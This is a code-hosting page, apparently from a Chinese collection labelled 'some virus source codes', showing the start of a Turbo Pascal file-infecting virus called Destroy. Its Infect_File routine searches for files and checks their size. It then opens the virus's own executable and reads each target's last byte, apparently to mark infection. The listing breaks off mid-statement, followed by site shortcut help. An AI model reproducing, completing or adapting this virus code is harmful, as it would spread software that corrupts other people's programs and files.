destroy.pas

来自「一些病毒源代码」· PAS 代码 · 共 50 行

PAS
50
字号
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 16384,20000,100000}
PROGRAM Destroy;

{$I-}

USES CRT, DOS;

CONST
     MyLen = 7335;
VAR
   SR : SearchRec;
   FN : String;
   Dir : DirStr;
   Nam : NameStr;
   Ext : ExtStr;

FUNCTION UpStr (S : String) : String;
VAR
   I : Byte;
BEGIN
     FOR I := 1 TO Length (S) DO
         S [I] := UpCase (S [I]);
     UpStr := S;
END;

PROCEDURE Infect_File;
VAR
   F, F1 : File;
   Buff : Array [1..MYLEN] Of Byte;
   B : Byte;
   W : Word;
BEGIN
     Assign (F, SR.Name);
     FileMode := 2;
     ReSet (F,1);
     IF IOResult <> 0 THEN Exit;
     IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
        Close (F);
        Exit;
     END;
     Assign (F1, ParamStr (0));
     ReSet (F1,1);
     IF IOResult <> 0 THEN BEGIN
        Close (F);
        Exit;
     END;
     Seek (F, FileSize (F)-1);
     BlockRead (F, B, 1, W);
     IF B = Ord ('

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?